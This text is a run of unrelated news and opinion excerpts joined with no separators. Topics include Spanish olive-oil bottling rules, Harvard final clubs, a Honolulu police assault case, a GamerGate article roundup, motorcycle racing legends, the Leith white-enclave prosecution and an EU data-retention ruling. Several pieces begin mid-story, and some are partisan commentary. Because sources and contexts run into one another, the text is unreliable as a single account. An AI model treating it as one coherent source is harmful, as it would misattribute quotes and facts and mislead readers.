Officials said it would cost about $1,200 to replace the window and those interested in helping out with the cost could donate online.
Delaware County Sheriff Ray Dudley said that there have been numerous reports of campaign signs being stolen from yards in Yorktown and Mount Pleasant Township, according to Fox 59.
Dudley added that the reports were being taken seriously and that removing signs from homeowners’ yards could call for prosecution under the Indiana criminal code.
The initiative goes directly against the European Commission's recent decision to reject similar draft regulations presented by Spain after vetoes from a so-called Nordic bloc including Germany and Finland.
The condiment controversy could anger restaurateurs who will be forced to provide customers with oil that is labelled with its origin, quality, date of manufacture and best-before date in a single-use, non-resealable bottle or sachet.
Take a look at The Local's list of Spain's top ten weirdest foods.
But regulators hope that move will prevent the practice of re-filling branded bottles with cheaper oil, according to Spanish daily ABC.
Agriculture Minister Arias Cañete stressed that olive oil in Spain is "a strategic sector in a geographic area where the culture of olive oil is the foundation of the Mediterranean diet".
He added ministry was dedicated to promoting the "yellow gold" which was of great value to "Brand Spain".
Food industry representatives expressed satisfaction with the new announcement.
The Agro-Food Cooperatives of Spain said in a statement that oil labelling rules are very strict and should not be abandoned at the final step of the sales process.
"The current practice of refilling alters the sensory characteristics of the product, creating a bad appearance and unpleasant odour," they said.
But Emilio Gallego, secretary general of Spain's Federation of Hospitality, sounded a sour note.
He said "the economic impact will be very high because of the high cost of bottling and packaging".
"It will hit hoteliers in the pocket."
National consumer organization OCU has reported nine Spanish companies for trying to "cheat" consumers by selling lower-quality and cheaper 'virgin' olive oil as 'extra virgin'.
Jens Voigt is still in hot demand at 40-years-old
Voigt puts doubt aside after Tour de France
Report card: RadioShack-Nissan
"I'm very happy to confirm that I will stay with the team for another year. I have been a loyal rider throughout my career and I'm proud that I will be able to continue to share my experience with the boys and help them win," Voigt said in a team press release today. "I had good offers from two other teams, but I'm pleased to stay where I am. I really wanted to ride for one more year and I'm convinced this is the right decision for me. When I told the boys, they were laughing that I said 'one more year' a year ago as well, but we'll see what the future brings. I'm almost 41 now, but I feel I can still be an asset to the team, so that's why I continue."
Voigt is currently racing at the USA Pro Cycling Challenge in Colorado and is looking for some results.
"I hope we can finish this season on a nice note and I'm already looking forward to next year," says Voigt. "I'm convinced that we didn't get the most of this season, for a variety of reasons. We will learn from this season, as we always do at the end of a season and we will work even harder to be stronger."
Printed from: https://newbostonpost.com/2016/05/02/harvard-finals-club-fights-back/
A menu from a Porcellian Club dinner held in 1884. (Image courtesy of the New York Public Library via Wikipedia.org) A menu from a Porcellian Club dinner held in 1884. (Image courtesy of the New York Public Library via Wikipedia.org)
CAMBRIDGE – Harvard College’s Final Clubs, the exclusive social institutions unaffiliated with the Ivy League university but targeted by administrators over sexual assault data, are fighting back.
In March, a school task force on campus assault released a report that ripped the undergraduate school’s six all-male clubs, blaming them for sexual assault on campus and asserting that “female Harvard College students participating in Final Club activities are more likely to be sexually assaulted than participants in any other of the student organizations we polled.” The report relied heavily on an anonymous survey conducted for the school by Association of American Universities and released last fall. The AAU survey claimed that 1-in-5 Harvard women were sexually assaulted in some way during their four years on campus. While the report says the survey indicates “that the vast majority of sexual assaults in the College occur in the Houses and freshman dormitories,” the task force pinned the Final Clubs as a guilty party.
In addition to six all-male Finals Clubs, there are five Final Clubs reserved for women and two that are co-ed. There are also five all-male fraternities and four all-female sororities. All the organizations are located off campus.
Last week the school’s student newspaper, the Crimson, reported that one of the male-only Final Clubs, the 225-year-old Porcellian Club, commissioned its own professional statistical analyst to dissect the results of the campus survey, conducted for the school by Association of American Universities.
In a letter addressed to Harvard College Dean Rakesh Khurana, the club’s David T. Lawrence, an alum who serves as president, reiterated the group’s intention to work with the school to help reduce sex assaults on campus but also denounced the connection administrators made to Final Clubs.
“We strongly object to repeated public statements by Harvard officials incorrectly implying that the 2015 AAU survey established statistically a direct connection between sexual assault and final clubs,” the letter stated, referring to the Association of American Universities anonymous campus climate surveys.
An economic statistician, Jora B. Stixrud of Welch Consulting, specifically took aim at the task force’s claim that 47 percent of women who participated in Final Club activities, when surveyed as seniors, reported experiencing nonconsensual sexual contact as undergraduates.
Stixrud pointed out that the surveys never specifically asked students about the clubs. She also disputed the claim that more than 15 percent of women “reporting penetration involving physical force” said the incident occurred at one of the clubs.
“There are only two questions on the survey with arguable pertinence to Final Clubs,” Stixrud said in her 14-page analysis. “The first asks the respondents about ‘participation’ in clubs and other student groups.”
“The second question, asked elsewhere in the survey and not tied to participation in any undergraduate activity, including clubs, asks those who reported that they had experienced nonconsensual sexual contact where the incidents took place.”
Stixrud wrote that one possible answer to the question was: “other space used by a single-sex student social organization.”
“The first question tells us nothing about the issue at hand – whether or not Final Clubs have an effect on the incidence of non-consensual sexual contact,” she said. “The second question was posed in too general a manner to derive any meaningful conclusions from the responses.”
Last month the task force in its report recommended that all Final Clubs admit women as well as men or risk expulsion for its members.
“Either don’t allow simultaneous membership in Final Clubs and college enrollment; or allow clubs to transition to all-gender inclusion with equal gender membership and leadership,” the task force recommended.
Khurana told the Crimson through a spokesman that he wouldn’t be commenting on the Porcellian Club’s letter and Stixrud’s analysis.
Another point Stixrud raised is the “timing of the sexual contact vis-a-vis the timing of involvement in the clubs.”
“A woman who received an unwanted kiss in her dorm room while a freshman would be counted as part of this figure if she later joined an all-female Final Club in her sophomore year,” Stixrud noted.
According to Lawrence’s letter, “the Porcellian Club is a strictly private organization with a policy of no guests on our premises other than family members on special occasions and we are unaware of there ever having been a reported allegation of sexual assault at our club.”
Read the Porcellian Club’s April 27 letter to the school:
Porcellian Club – Letter to Harvard
Read Stixrud’s 14-page analysis:
Porcellian Club 2 – Stixrud analysis
Comments
On Friday, CBS News published a gallery — popular among so-called “click bait” sites looking to boost page views — exposing what the network considers “fake news” sites.
CBS named 21 sites under a section titled, “Don’t get fooled by these fake news sites.”
Most of them are ones the vast majority of people have probably never heard of nor visited, the one exception being InfoWars.com.
For example, CBS felt the need to alert readers to the fact that a story about Donald Trump naming Chris Christie to the “Supreme Food Court” was not real. (Who knew?!?)
Strangely, but not surprisingly, CBS itself was missing from the list, as the network had its own fake news scandal in 2004 involving blatantly forged documents.
The Media Research Center reported that year:
On September 8, 2004, Dan Rather cited “exclusive information, including documents” to justify major CBS Evening News and 60 Minutes stories alleging that George W. Bush shirked his duties when he was in the Texas Air National Guard in the 1960s and 1970s. Within a few hours of those documents being posted on CBS News’s Web site, however, typography experts voiced skepticism that the documents had actually originated with their alleged author and Bush’s former commanding officer, the late Lt. Colonel Jerry Killian. As the evidence mount, Rather stubbornly clung to the idea that his story was bulletproof, and he derided critics as partisans and Internet rumormongers.
The forged documents were debunked by a blogger Charles F. Johnson, whose work would likely be quickly dismissed as “fake news” by CBS today.
He pointed out the font used in the document did not exist at the time and was, in fact, part of Microsoft Word.
The scandal was so outrageous, four CBS employees were axed from the “news” network.
CBS reported in early 2005:
Four CBS News employees, including three executives, have been ousted for their role in preparing and reporting a disputed story about President Bush’s National Guard service.
The action was prompted by the report of an independent panel that concluded that CBS News failed to follow basic journalistic principles in the preparation and reporting of the piece. The panel also said CBS News had compounded that failure with a “rigid and blind” defense of the 60 Minutes Wednesday report.
Asked to resign were Senior Vice President Betsy West, who supervised CBS News primetime programs; 60 Minutes Wednesday Executive Producer Josh Howard; and Howard’s deputy, Senior Broadcast Producer Mary Murphy. The producer of the piece, Mary Mapes, was terminated.
“We deeply regret the disservice this flawed 60 Minutes Wednesday report did to the American public, which has a right to count on CBS News for fairness and accuracy,” said CBS President Leslie Moonves.
Nevertheless, CBS is warning readers about “fake news” sites.
Referring to a story about Donald Trump winning the popular vote, CBS “reported,” “The egregious error spurred Merrimack College communications professor Melissa Zimdars to compile a list of fake news sites. She told CBS News she wanted to ‘help my students navigate an increasingly complex and questionable media landscape.’”
The social geographer Danny Dorling disagrees, and has evidence to prove it. His new book, Fair Play, shows that in Labour's final term the number of working-class students in higher education began to increase at a faster rate than those from middle-class backgrounds. The increase followed sustained investment in schools and pupils, in particular those who qualified for free school meals and so for the education maintenance allowance.
The beauty of Dorling's figures is that they prove investing in people works. Yet for every Willetts on the right, there is a figure on the left to remind us that social mobility, like meritocracy, is a fallacy – because the supply of jobs at the top is limited, meaning a "less able" person of privilege will always have to move out of the way in order for a "bright" working-class person to progress. Because privilege tends to accumulate over time, that's unlikely to happen without coercion.
Research conducted by the Resolution Foundation, and endorsed by Willetts, shows that the importance of having a degree has increased over time, in defiance of the assumption that the more highly educated people there are, the less valuable their qualifications. In the noughties, the fewer qualifications you had, the harder it was to maintain good earnings. Higher education improves your chances of finding a remunerative, enjoyable line of work.
In 2009, the million+ consortium of new universities reported that, while only 8% of students at its 28 member institutions came from professional families, 17% of students had found professional jobs three years after graduating. That's not enough, of course; but during that decade of expansion, a million public-sector jobs were created, most of them white collar; in the private sector, the creative, financial and legal sectors grew with the number of places on courses in law, media and business.
We can snark all we like about the trend towards job-focused degrees; higher education suffered as much as benefited from New Labour's often depressing instrumentalism. But the point is that they do, in the main, lead to more good jobs: skilled, permanent, relatively well paid, and with room for further advancement. It suggested that social mobility was neither a myth nor an impossibility, and that it was possible to create more professional jobs for qualified people to fill, rather than simply shuffle the existing labour market pack.
To deny the power of social mobility as an idea suggests that there will always be a working class and that its members should continue to know their place. Simply working to make conditions within the working class better, rather than striving for the transformation of society as a whole so that individuals are not bound by the circumstances of their birth, suggests that people are essentially happy with the status quo.
Why is it assumed that there is a static, immutable pool of people with equally static and immutable working lives? Does a street sweeper need to be a street sweeper his entire life for us to be able to say, "He is a street sweeper and I respect him for that"? Can we not respect him – not to mention pay him decently – for his work whether he undertakes it for six months or 60 years?
Thirty years ago, after mass redundancies in the heavy industries, thousands of laid-off manual workers returned to education, many studying politics and sociology in an attempt to understand how the collective power they had marshalled as union members in the 1970s could have dissipated so swiftly. A significant number became teachers and social workers, while others became self-employed, making a living that didn't necessarily pay better but offered more autonomy.
It's important to make a distinction between economic and social mobility, even though the former makes the latter easier to achieve. In a more open society every individual would have the chance to accumulate educational and occupational experience – if not always money – so that society was not deprived, as it is at present, of so much unused talent.
Honolulu, HI — A former police officer was sentenced to prison on Friday after a surveillance video caught him brutally beating two innocent men and hospitalizing one of them. The two officers who witnessed the assault have also been charged with trying to conceal the crime and lying to FBI investigators.
On September 5, 2014, officers Vincent Morre, Nelson Tamayori, and former reserve officer Joseph Becera arrived at a Honolulu game room to serve a warrant. In an unprovoked attack, Morre suddenly kicked Jordan Topinio in the head while the innocent man was sitting on a stool. After failing to locate their target, Morre is seen on surveillance video losing his temper and attacking patrons.
Sitting next to Topinio, Francisco Franson remains on his stool and not resisting when Morre begins punching him in the face and kicking him in the chest. After viciously beating Franson, Morre kicks Topinio in the face causing him to fall off his chair. As Morre walks away, he throws a metal stool that hits Topinio in the head, requiring stitches.
Before Morre exits the room, he shoves a woman near the door for no apparent reason while officers Tamayori and Becera make no attempt to stop him. Five days later, Morre filed a false police report omitting the fact that he had assaulted Topinio and Franson. Officers Tamayori and Becera went along with the cover-up while remaining completely unaware of the surveillance camera that captured them on video.
On May 19, Morre admitted to losing his temper and pleaded guilty to two counts of depriving the two men’s right to be free from the use of unreasonable force by a law enforcement officer. Former officers Tamayori and Becera were charged with failing to report the assaults. On June 29, Becera pleaded guilty to attempting to conceal the crime and making a false statement to the FBI.
On Saturday, some of the anarcho-communist Antifa accidentally beat up a fellow Antifa because they thought he was a “neo-Nazi”. A neo-Nazi is anyone who doesn’t agree with them, including conservatives, libertarians, republicans, and classical liberals, as they have said.
Antifa were protesting free speech in Boston at the time.
“This anti-white nationalist protester was punched in the face after being mistaken for a neo-Nazi in Boston,” reads a Facebook post from Fusion.
“Do not hit someone that you assume is a neo-Nazi. You cannot do that,” said one protester. “He’s on our side!”
At least she has the Constitution down pat – only beat up people you disagree with. That must be under the First Amendment.
A reporter asked the victim, if he was going to stick around and, inexplicably, he said, “I’m not exactly sure right now.”
Here’s a hint buddy – they’re idiots, they could beat you up again. What Antifa don’t have in brainpower, they make up for in violence and abuse of others.
The only thing crazier are Twitter’s rules. Can’t figure them out!
In its response to the petition, IOC Communications Director Mark Adams tells Yahoo, "Bruce Jenner won his gold medal in the 1976 Olympic Games and there is no issue for the IOC."
Related: Petition Urges International Olympic Committee to Revoke Caitlyn Jenner's Olympic Title
The IOC has had difficulty in the past defining the difference between men and women as it pertains to athletic competition. While it's rare, several athletes — mostly women — have been found to have genetic anomalies which place them somewhere in between traditional labels of "male" and "female." In 2012, the IOC announced it would allow transgender athletes to compete against their chosen peers, assuming they meet three criteria: the athlete must have had gender reassignment surgery, the athlete must have legal recognition of his or her assigned gender in his or her home country, and the athlete must have completed at least two years of hormone therapy.
In the day since Yahoo published its initial story about the petition, more than 10,000 people have signed and the petition's writer has expanded the goal to 15,000. It appears to be all for naught, however, as the IOC's statment makes their position pretty clear: Caitlyn Jenner will keep her hard-won medal.
The village – 1,100 condo units that had to be built for the 2010 Games – were behind schedule, in financial trouble, and heading for completion in the middle of a recession triggered by a collapse of the housing market.
On Monday, he declared that, thanks to his party's careful strategy and a bulk sale of the final 67 condos to the Aquilini family for $91-million, all debt on the village had been wiped out.
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And he said $70-million was left over to cover some of what the city spent on parks, seawalls, roads, a community centre, and other amenities.
"It's a very good day for the City of Vancouver and particularly for city taxpayers. This is an extraordinary accomplishment on a project that many said would never make it into the black," Mr. Robertson said.
He thanked B.C.'s best-known businessman, Jimmy Pattison, and high-powered lawyer Morley Koffman for their advice on the village, and then the media bombarded him and city manager Penny Ballem with questions that left many unsure of how the city's accounting for the village really works.
The finances are complex, because the city committed to pay for the infrastructure in the area and for 252 units of social housing in the early years of the project. But then it got stuck with much more.
Private builder Millennium Development, which won the bid to develop the land with a $170-million offer, ran into trouble with its hedge-fund financing in late 2007 as it ran over budget amid the first signs of the recession.
The city made temporary loans to Millennium to keep construction going. Then, after Mr. Robertson was elected, the city took over the financing and management of the project. In November, 2010, Millennium agreed to put the project into receivership.
Ms. Ballem's briefing on Monday, and the March report from the receivers who have been managing the village, elicited some key facts.
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The city's $690-million debt – essentially, the construction loan for the village – would be wiped out by the sale to the Aquilinis.
And, over the past five years, the city had received a total of $770-million, between individual condo sales, a bulk sale of the 119 condos that had been intended for rental, the sale of the retail spaces, and the $68-million the city obtained by taking over the 32 properties Millennium had put up as guarantees for city-financing loans.
What was not clear was how much the city spent on the village in total and whether city taxpayers will cover losses in other accounts.
Ms. Ballem said the city got only about $70-million of the promised $170-million for the land.
The receivership cost the city a lot.
According to the most recent report from receivers Ernst & Whinney, the city got a total of $493-million from sales of condos and retail spaces between November, 2010, and February, 2014. (It had received $200-million in pre-sales money before the receivership.)
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But the city covered $81-million in costs to get there, among them: $21-million for marketing and sales commissions, $21-million to fix deficiencies , $8.8-million in fees to the receiver and legal team, and $8.3-million in holding costs, including $5.7-million that had to be paid in strata fees on empty condos.
So recently I come across this tweet by @firehawk32: https://twitter.com/firehawk32/status/523573427928854528
"I looked over the "Gamers are Dead" articles to see if #GamerGate's rage was justified."
And he linked to an Article hosted by @PixieJenni. In it he look over all the article published on and around 27th of August to see how many times the phrase "Gamers are dead" is used.
You can read article here: https://archive.today/J4tpH
Here's the TLDR version: the phrase doesn't come up alot, so what are gamers angry about?
I thought this is very interesting, if the gaming journalist didn't call gamers "dead", what did they call gamers?
Let's do our own analysis shall we?
1. Leigh Alexander’s “’Gamer’s’ don’t have to be your audience. ‘Gamers’ are over.” August 28, 2014 Gamasutra / http://archive.today/l1kTW
Audience: Developers
[Gamers are] buying things, tackling over memes and in-jokes repeatedly, getting mad on the internet.
[Gamers are] young man queuing with plush mushroom hats and backpacks and jutting promo poster rolls.
[Gamers] don't quite know why they themselves are standing there.
[Gamers] don't know how to dress or behave.
[Gamers are]people who know so little about how human social interaction and professional life works that they can concoct online ‘wars’ about social justice or ‘game journalism ethics'.
[Gamers are]young white dudes with disposable income who like to Get Stuff.
[Gamers are]generation of lonely basement kids.
[Gamers are]angry young men.
[Gamers are] over.
[Gamers are] mad.
[Gamers are] obtuse shitslingers
[Gamers are] wailing hyper-consumers,
[Gamers are]childish internet-arguers.
See didn't say Gamers are dead though, so we get that going for us, which is nice. (It would be hard to be dead AND doing all those other things)
2. Chris Plante’s “An Awful Week to Care About Video Games.” August 28th at 1:21pm Polygon / http://archive.today/rkvO8
Audience: Gamers/Game fans
[Gamers are] child with a temper tantrum, folded its arms, slumped its shoulders while pouting like an obstinate child...that wants to remain the singular focus of his parents' affection.
Not as creative as Leigh.
3. Casey Johnston’s “The Death of ‘Gamers’ and the Women Who ‘Killed’ Them” August 29 at 12:00am Ars Technica / https://archive.today/ZyLdw
Beside the catchy title, she mainly rundowns events and and link to other article without elaborating who these "Gamers" are.
I guess there's no point in speaking ills of the dead.
4. Devin Wilson’s “A Guide to Ending ‘Gamers’ August 28 8:28pm Gamasutra / http://archive.today/2t93l
Here's gamers are not dead yet, but about to be "ended", because:
[Gamers are] almost all tyrannical brats with messianic delusions.
It's more of a guide to ending gamers, head over if you want to see how you are going to be"ended".
5. Dan Golding’s “The End of Gamers” August 28 Personal Blog / https://archive.today/5jvcD
Audience: unclear, personal blog.
Well here we have gamers about to be dead. No creative description for gamers though, just the usual straight male, teenage boys stuff.
6. Luke Plunkett’s “We Might be Witnessing the ‘Death of an Identity’” August 28 8:00pm Kotaku / https://archive.today/ht088
Audience: Gamers/game fans
Well true to Kotaku fashion, it's just a repeat of Dan Golding and Leigh Alexander's blogs with a link. No original thought here.
7. Joseph Bernstein’s “Gaming is Leaving ‘Gamers’ Behind” August 28 8:29PM Buzzfeed / http://archive.today/jVqJ8
Audience: General
Well it's Buzzfeed, so most of the article have to use the metaphor moviegoers instead. So
[Gamers are] young white suburban dorks moviegoers.
Whatever that mean. You are definitely going to be left behind though, probaly to be "ended".
8. Patrick O’Rourke’s “Sexism, Misogyny and Online Attacks: It’s a Horrible Time to Consider Yourself a ‘Gamer’” August 28 9:33pm Financial Post / https://archive.today/HkPHc
Audience: General
[The term Gamers] has taken on increasingly negative connotations.
Financial people, always too PC.
9. Arthur Chu’s “It’s Dangerous to Go Alone: Why Are Gamers So Angry” August 28 The Daily Beast / http://archive.today/9NxHy
Here we have the former Jeopardy champ, so there's a long list of things and event he knows, but doesn't understand.
[Gamers] are overwhelmingly male, and angry.
But he doesn't know why or how to fixed it though, hence the question.
10. Mike Pearl’s “This Guy’s Embarrassing Relationship Drama is Killing the ‘Gamer’ Identity” August 29 Vice / https://archive.today/L4n6p
Audience: General
Just summary of event and repeating what LA said. Refer to #1
There's are more articles from non-gaming media or fringe site, but I'm just gonna stop it here.
So in conclusion,
Dan Golding said "Gamers" are dying.
Polygon said "Gamers" are just children throwing tantrum.
Arthur Chu said "Gamers" are just angry, but he don't know why.
Leigh Alexander said she doesn't care, Gaming Journalists don't need "Gamers", "Gamers" need to go.
Buzzfeed agreed to left "Gamers" behind, because movie.
The financial guys think being "Gamers" are horrible anyway.
Gamasutra laid out a plan on how to "end Gamers", with the help of women.
Ars Technica wrote the Obituary.
Kotaku just repeated what everyone else were saying.
Thus, I have to agree with @firehawk32 and PixieJenni, not all posts uses the phrase "Gamers are dead".
So there you go, if these posts make you angry, you are just sexist.
Bonus:
Greg Costikyan's "Gamersgate: STFU" http://archive.today/vT7vp
Well this speak directly to us, so read it yourself I guess.
It is a foolish and impossible task, of course, but that’s no reason not to attempt it, right? So let’s start that daftest of pub debates once again: who is the greatest motorcycle racer of all time and who runs him closest?
I’ve absent-mindedly run this debate through my head for thirty years or more. During that time my podium of greatness has changed as I came to better understand the achievements of the greats, their performances according to the motorcycles they had beneath them and the rivals they had beside them, because merely counting race wins and world championships is never enough.
So, here we go, my all-time podium of greatness (in alphabetical order): Mike Hailwood, King Kenny Roberts and Valentino Rossi.
Who was the most talented? Impossible to know because these three men rode in different eras on different bikes, with different rivals and when different talents mattered. But it is still worthwhile wondering who was the greatest, so please indulge me as I try to imagine Hailwood, Roberts and Rossi lining up on the grid, getting ready to do battle, sometime around now.
Like all great racing champions, the Briton, the Italian and the American share many attributes: talent, determination and bravery for starters. They also started young.
Surprisingly, Hailwood started in earnest at a younger age than the others, even though the motorcycle industry had yet to invent the minibike when he was a kid. Back then, most racers found their love for bikes on the road and only hit the racetrack later. Hailwood’s luck was that his father, Stan ‘The Wallet’ Hailwood, owned a string of motorcycle shops and gave his son a handmade minibike when he was seven. Roberts was twelve when he stopped training horses and started riding bikes. Rossi raced karts before switching to minimoto when he was ten, mostly because his dad couldn’t afford to finance his karting career.
Hailwood went on to win 76 GP victories and nine world titles across four classes (125, 250, 350 and 500cc), Roberts won 24 GPs across two classes (250 and 500) and a 500 title hat-trick and Rossi is currently on 112 wins and nine titles across four classes (125, 250, 500 and MotoGP).
Hailwood raced at a time of relatively low chassis technology, when one tyre might last several races and the only suspension adjustment was a few clicks of preload on the rear shocks. He was proudly technophobic and it didn’t really matter that he didn’t know one end of a crankshaft from the other. His main talent seemed to be the ability to climb aboard any motorcycle and immediately take it to the edge.
“If you cobbled something together and gave it to him he would wring its neck right away without thinking about it,” said his Honda team-mate Ralph Bryans. “Most riders want the bike to be right before you can do your best, but Mike didn’t seem to bother that much.”
Bryans also said Hailwood “gave no feedback whatsoever” to his engineers but that didn’t stop him swapping bikes several times a day and winning on them all. Hailwood won GPs in three different classes at the same event on no less than six occasions during his career!
Does that make him the greatest? Possibly, but possibly not because racing had changed by the time Roberts and Rossi arrived. Roberts briefly raced a 250 alongside his 500 and Rossi briefly considered racing Moto2 and MotoGP.
As bikes get better, power increases, chassis work better and tyres grip more. This doesn’t make the bikes easier to ride, it makes them less problematic but increasingly physically, mentally and technically demanding. The greater forces involved require more strength and better fitness, which wouldn’t have pleased Hailwood, a man who felt happier in a bar than in a gym.
More technology also requires riders to spend more time in the pits, which means endless hours discussing squiggly lines on computer monitors with their engineers. If Hailwood was around now he would howl with horror at the hours Rossi spends in the pits. In his day the attitude was if it ain’t broke don’t fix it and let’s get down the pub. That didn’t work in Roberts’ era and it doesn’t work now: the quest is always for the next hundredth of a second.
Roberts came to Europe in 1978 as a relative novice in road racing. He wasn’t even a factory rider. He was a Yamaha US rider who had been given only one bike by Yamaha, while factory riders Johnny Cecotto and Takazumi Katayama had two each. It wasn’t until round seven of eleven that the Japanese realised they might have put their money on the wrong men and gave him another bike.
Hailwood spent his entire motorcycling career racing around deadly street circuits. Incredibly, street circuits were still on the GP calendar when Roberts arrived. Some fans suggest (idiotically) that Roberts didn’t have the balls to race the roads, but he could do it if he had to. In his rookie GP year he raced the deadly nine-mile Spa-Francorchamps street circuit and finished second, beating Barry Sheene and averaging over 130mph, in the wet.
“I was scared to death,” he recalls. “I didn’t know where I was going, couldn’t see nothing. I was racing with Sheene, thinking ‘this is so stupid’. The only reason I beat him was because he was more scared than I was. One time I was off the racetrack and sideways up against a wall, doing 130. I got it straight, looked behind and Sheene’s eyes were massive.”
Roberts was a huge force in improving the lot of the bike racer: track safety, paddock conditions and money. That might not have much to do with racing talent, but the fact that he could campaign ferociously for his fellow riders while winning world titles says a lot for his capacity to make things happen on and off the racetrack. And he would’ve won more than three world titles if Yamaha hadn’t so badly lost their way between 1981 and 1983.
It’s worth adding that when Roberts rolled up for his second GP, at Jarama, Spain, in April 1978, the organisers wouldn’t even give him a start, because he hadn’t scored any points in the previous year’s championship. Dumb, or what?
“I was in their office and Kel [Carruthers, his crew chief and mentor] had to get me out of there because I was about ready to kill someone, I was ready to go home. I missed first practice, then they had a jury meeting and let me ride.”
By the time Rossi arrived in 1996 such brainlessness was unthinkable. His longevity – twenty seasons and counting – makes the other two look like part-timers, but in spite of increased pressure and demands and a much-expanded calendar, racing is in many ways much easier nowadays: it is safer, better organised and the world is fully geared up for those living the peripatetic racer’s lifestyle.
Rossi’s achievements are mostly unmatched, across any sport. It is simply very, very unusual for anyone to compete at the top of a sport for two decades and more. He may never surpass Giacomo Agostini’s all-time GP record of 122 victories, but his stats already outdo Ago in the only class that really matters: 500s and MotoGP.
Rossi bubbles over with talent, just like Hailwood and Roberts before him but the other thing that makes him unique is his mastery of reinvention. The man has ridden and won on everything: from 125 and 250 two-strokes to 500cc two-strokes and 800, 990 and 1000cc four-strokes. He started out when many pit-lane engineers were sure that traction control would never catch on in bike racing as it had in car racing. He now works in an environment where electronics govern how the rider rides the motorcycle more than anything else.
Like most talented riders, Rossi would rather race without rider aids. “When I tried the first traction-control system with Honda at the end of 2002 I went back into the pits and I say 'fuck, noooo’, I mean with this system everybody can ride the bike. And that was with one per cent of what we have now!”
Rossi has seen a generation or two of riders come and go and now he is fighting with riders who were in nappies when he first rode a 125 GP bike in 1994. He has had to change his style a dozen times to deal with different bikes and different rivals.
For all these reasons, my imaginary Grand Prix of the all-time greats has Rossi crossing the finish line a few tenths ahead of Roberts, with Hailwood right behind them in third place. Rossi wins on account of his ability to master pretty much every situation, Roberts just gets the better of Hailwood thanks to his superior understanding of technology, a must in motor sport.
Cobb, 62, was originally charged with seven felony counts of terrorizing for his alleged actions while leading an armed patrol in November in Leith, the small town southwest of Bismarck where he bought up property with the intention of creating an all-white enclave.
Cobb and his attorney had reached a plea deal with Grant County State’s Attorney Todd Schwarz, agreeing to plead guilty to one count of felony terrorizing and five misdemeanor counts of menacing. One other terrorizing count was dropped last week at Schwarz’s request.
Under the recommended sentence for the guilty pleas, Cobb, who has been in jail since Nov. 16, would not serve any additional jail time. He would be on supervised probation for four years with several conditions.
But Reich did not issue a sentence Thursday, instead ordering a pre-sentence investigation, including a psychological evaluation.
Reich said he didn’t know the extent of Cobb’s criminal record other than what media have reported -- Cobb is wanted on a hate-crime charge in Canada -- and didn’t have the results of Cobb’s previous psychological evaluation. He also noted that five of the felony charges involved firearms.
“The court just doesn’t feel that comfortable issuing a sentence,” he said.
Cobb, appearing clean-shaven in blue jeans and a white shirt with the sleeves pulled up, will remain jailed at the Mercer County Jail in Stanton on $100,000 bond until the sentencing. Reich said he will ask that the presentence investigation be expedited so the court can “conclude this matter as soon as we can.”
Schwarz said Cobb would be prohibited from possessing firearms while on probation and for the rest of his life under federal law, and his long guns used in the alleged terrorizing incidents would be surrendered to the Grant County Sheriff’s Office.
Cobb also would have to refrain from alcohol and have no contact with the victims while on probation, including indirect contact via the Internet. The probation office also could use GPS or other means to track him, Schwarz said.
While it wasn’t part of the plea agreement, Schwarz said he and the victims took into account that Cobb has deeded his home in Leith to a disinterested third party and that he plans to deed his remaining lots there to the city or a third party.
Cobb’s court-appointed attorney, Ryan Heintz, said Cobb “knows there are better and more civil ways to go about disagreements between individuals.”
Schwarz told the judge that four of Cobb’s alleged victims were “100 percent” in favor of the plea agreement, one victim found it acceptable but wanted to see stiffer penalties and the other victim was adamantly opposed to the deal.
“This is a way for the folks of Leith and the citizens of Grant County to move on,” he said.
Three of the alleged victims -- Bethany Haberstroh, her 21-year-old daughter, Akriti Haberstroh, and Leith City Councilman Lee Cook -- were in the courtroom Thursday.
Bethany Haberstroh said before the hearing that she was concerned that the actions of Gregory Bruce -- the outspoken New Leipzig resident who runs Leith’s unofficial website and previously was one of Cobb’s alleged victim until Schwarz dropped the terrorizing charge related to him -- had hurt the state’s chances of convicting Cobb, and that a jury trial would turn into a “carnival.”
“And I’m not willing to risk protection of my daughter if (Cobb) would go free,” she said.
After the hearing, Cook was livid that Schwarz failed to mention him as being there when the judge asked if there would be any victim impact statements. Cook said Schwarz has refused to talk to him and that the plea deal was too lenient on Cobb.
At the same time, Democrats have emerged from one-on-one meetings with Mr. Gorsuch praising his intellect and demeanor, though some have said he failed to provide persuasive answers on basic constitutional issues.
The situation was worrying enough to Gorsuch opponents on the left to provoke a chastising letter to Senate Democrats. “Democrats have failed to demonstrate a strong, unified resistance to this nominee despite the fact that he is an ultraconservative jurist who will undermine our basic freedoms and threaten the independence of the federal judiciary,” the 11 groups wrote. “We need you to do better.”
The letter also followed a sense among progressives that Democratic members of the Judiciary Committee who will consider the Gorsuch nomination had not been aggressive enough in their treatment of Jeff Sessions, their former Republican colleague, during his confirmation hearing for attorney general — a hearing some viewed as a test run for a Supreme Court fight.
Senator Jeff Merkley, the Oregon Democrat who joined Ms. Murray at Tuesday’s news conference, said the progressive groups were right to try to stir him and his colleagues to action.
“I think they are doing exactly what they should be doing,” he said. “We have to pivot and really focus on this Supreme Court nomination.”
Other Democrats say Judge Gorsuch will struggle to win the eight Democratic votes he would require to be assured of overcoming a filibuster. They believe the hearing will stiffen the party resolve, particularly if he is not more forthcoming with answers about how he views the role of an independent judiciary in standing against the presidency.
The European Court of Justice overturned a directive that allowed telecommunications companies to collect citizens’ communications data on a massive scale and retain them for two years. The actual content of the communications was not retained, but the time and location, as well as all the necessary information to identify the user were kept.
During Tuesday’s hearing, the court said the directive contravenes the Charter of Fundamental Rights of the EU.
“The directive interferes in a particularly serious manner with the fundamental rights to respect for private life and to the protection of personal date," the Court wrote in its ruling. “It entails a wide-ranging and particularly serious interference with the fundamental rights to respect for private life and to the protection of personal data, without that interference being limited to what is strictly necessary.”
One of the main issues with the directive that the Court highlighted was the fact it allows for the retention of data without any justification. In this way, the Court concluded that the directive must be modified to minimize the impact of the privacy rights of citizens from the 28-nation bloc.
The directive was initially introduced in 2006 following bomb attacks on the public transport systems of Madrid and London. The idea was to give the authorities a greater ability to combat organized crime and terrorism across Europe.
The Court said that while the idea was commendable, “by adopting the Data Retention Directive, the EU legislature has exceeded the limits imposed by compliance with the principle of proportionality.”
Recently the European Commission proposed a revised version of the directive that set out instructions on when data may be retained and how it can be accessed and used by authorities.
The issue of data collection and retention has been at the forefront of European politics over the last year following the NSA revelations that the US organization gathers metadata on a massive scale in the EU. In addition, reports that the NSA even tapped the personal communications of top-ranking politicians sparked fury amongst many European leaders.
German Chancellor Angela Merkel even compared the US agency to the Stasi secret police following the revelations and demanded an explanation from Washington. The German government has since called for the negotiation of a “no spy” deal with Washington. However, Germany has criticized the US for its unwillingness to give assurances that it will not carry on with the same practices.
